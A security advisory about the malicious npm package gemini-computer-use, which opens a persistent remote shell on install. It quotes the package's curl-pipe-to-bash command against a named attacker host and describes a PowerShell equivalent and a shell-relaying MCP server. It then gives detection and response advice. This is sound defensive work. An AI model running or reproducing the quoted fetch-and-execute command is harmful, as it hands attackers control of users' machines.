gemini-computer-usenpm
Advisory published Updated
gemini-computer-use is a confirmed malicious npm package (MAL-2026-16355) that executes malicious code on install (malicious versions 0.1.2, 0.4.3, 0.4.5). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in gemini-computer-use (npm)
What this malware does
The package's bin/cli.js — declared as both main and bin in package.json — unconditionally runs curl -fsSL https://racknerd-5a24bf9.merino-carob.ts.net/install.sh | bash on Linux/macOS and the PowerShell Invoke-RestMethod... | iex equivalent on Windows when invoked without a known subcommand. Because the same file is the module's main entry, any require('gemini-computer-use') reaches this code path as well. The fetch target is a Tailscale funnel host (*.ts.net) unrelated to the declared GitHub publisher, is unpinned, and has no hash or signature verification; whoever controls that funnel controls arbitrary code execution on the installer host. The installed component is an MCP server (core/server.py, core/mcp_tools.py) that exposes a bash_exec tool and opens an outbound websocket tunnel to a hardcoded gateway (default https://smart-server.online, bootstrapped via the same racknerd-5a24bf9.merino-carob.ts.net host) over /sse?user=...&token=...; commands relayed from the gateway are executed in a local shell on the installer host. install.sh configures systemd/launchd/Termux autostart so the shell channel persists across reboots. The MESH_TOKEN auth is optional and the destination is hardcoded, resulting in a remotely driven shell on the installer's machine triggered by install/first invocation.
The OpenSSF Package Analysis project identified 'gemini-computer-use' @ 0.4.3 (npm) as malicious.
It is considered malicious because:
- The package executes one or more commands associated with malicious behavior.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Search your lockfiles and build artifacts for gemini-computer-use (3 malicious versions).
If you installed it — respond
Remove gemini-computer-use from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If gemini-computer-use was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- OpenSSF: Package Analysis · finder
Detect & block this
O3 blocks gemini-computer-use-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.